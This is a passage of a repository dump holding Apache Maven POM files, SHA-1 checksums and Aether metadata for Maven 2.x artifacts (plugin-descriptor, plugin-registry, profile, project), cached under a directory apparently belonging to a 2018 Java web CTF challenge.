    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-plugin-descriptor</artifactId>\n\n  <name>Maven Plugin Descriptor Model</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <models>\n            <model>src/main/mdo/lifecycle.mdo</model>\n          </models>\n          <version>1.0.0</version>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.pom.sha1",
    "content": "020c06240db8c2f9bcf8450414ef040becef16e0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-plugin-parameter-documenter-2.0.6.jar>central=\nmaven-plugin-parameter-documenter-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.jar.sha1",
    "content": "df6fa6c4adb313cb8937ffae96368bec1fd5d13d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-plugin-parameter-documenter</artifactId>\n  <name>Maven Plugin Parameter Documenter API</name>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <model>src/main/mdo/paramdoc.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.pom.sha1",
    "content": "c6403fbdb781a3d47a771656054defe1173ce486"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-plugin-parameter-documenter-2.0.9.jar>central=\nmaven-plugin-parameter-documenter-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.9/maven-plugin-parameter-documenter-2.0.9.jar.sha1",
    "content": "f481e2677384f6a0ab96633567d736e70657e042"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.9/maven-plugin-parameter-documenter-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-plugin-parameter-documenter</artifactId>\n  <name>Maven Plugin Parameter Documenter API</name>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <model>src/main/mdo/paramdoc.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.9/maven-plugin-parameter-documenter-2.0.9.pom.sha1",
    "content": "a575e74bbf8402a2371034d3a128d214c4cee060"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:18 CST 2018\nmaven-plugin-parameter-documenter-2.2.1.jar>central=\nmaven-plugin-parameter-documenter-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.jar.sha1",
    "content": "1a117baac49437fc5a6fcd9f18f779e6bad4207e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-plugin-parameter-documenter</artifactId>\n\n  <name>Maven Plugin Parameter Documenter API</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <models>\n            <model>src/main/mdo/paramdoc.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.pom.sha1",
    "content": "8eb54f97405512e83f680f29ef6163f5ef082acb"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-plugin-registry-2.0.6.jar>central=\nmaven-plugin-registry-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.jar.sha1",
    "content": "4242ec8629b4797387751379f57e72cb718aac7a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-plugin-registry</artifactId>\n  <name>Maven Plugin Registry Model</name>\n  <version>2.0.6</version>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <model>plugin-registry.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.pom.sha1",
    "content": "2e13beea3b3511c6075c60384d9e7fad18efbcdf"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-plugin-registry-2.0.9.jar>central=\nmaven-plugin-registry-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.9/maven-plugin-registry-2.0.9.jar.sha1",
    "content": "a7172a87a7cb901cf6df4df9fd89a3c2d3f8a770"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.9/maven-plugin-registry-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-plugin-registry</artifactId>\n  <name>Maven Plugin Registry Model</name>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <model>plugin-registry.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.9/maven-plugin-registry-2.0.9.pom.sha1",
    "content": "403ed44092f56e1ebab891f37c69d61936c5c4da"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-plugin-registry-2.2.1.jar>central=\nmaven-plugin-registry-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.jar.sha1",
    "content": "72a24b7775649af78f3986b5aa7eb354b9674cfd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-plugin-registry</artifactId>\n\n  <name>Maven Plugin Registry Model</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <models>\n            <model>plugin-registry.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.pom.sha1",
    "content": "c3575ac9ad32638af33d88829453bdc902ea8711"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-profile-2.0.6.jar>central=\nmaven-profile-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.jar.sha1",
    "content": "f03cd3820d2b4d60b93ccd17a1c14e8eeef63f79"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-profile</artifactId>\n  <name>Maven Profile Model</name>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <model>profiles.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.pom.sha1",
    "content": "12d0d8217e613b9cb487c1d1d0db744a4f588528"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-profile-2.0.9.pom>central=\nmaven-profile-2.0.9.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.9/maven-profile-2.0.9.jar.sha1",
    "content": "0b9b02df9134bff9edb4f4e1624243d005895234"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.9/maven-profile-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-profile</artifactId>\n  <name>Maven Profile Model</name>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <model>src/main/mdo/profiles.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.9/maven-profile-2.0.9.pom.sha1",
    "content": "616ca5d9ab345e415c6e3f5f75ea24a952690ac0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-profile-2.2.1.jar>central=\nmaven-profile-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.jar.sha1",
    "content": "3950071587027e5086e9c395574a60650c432738"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-profile</artifactId>\n\n  <name>Maven Profile Model</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <models>\n            <model>src/main/mdo/profiles.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.pom.sha1",
    "content": "075b47a5262cae02c228137399b8247e50a43284"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-project-2.0.6.jar>central=\nmaven-project-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.jar.sha1",
    "content": "c0df764cd8f5bac660bfa53fa97fdd53663ee308"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-project</artifactId>\n  <name>Maven Project Builder</name>\n  <description>This library is used to not only read Maven project object model files, but to assemble inheritence\n    and to retrieve remote models as required.</description>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-profile</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-manager</artifactId>\n 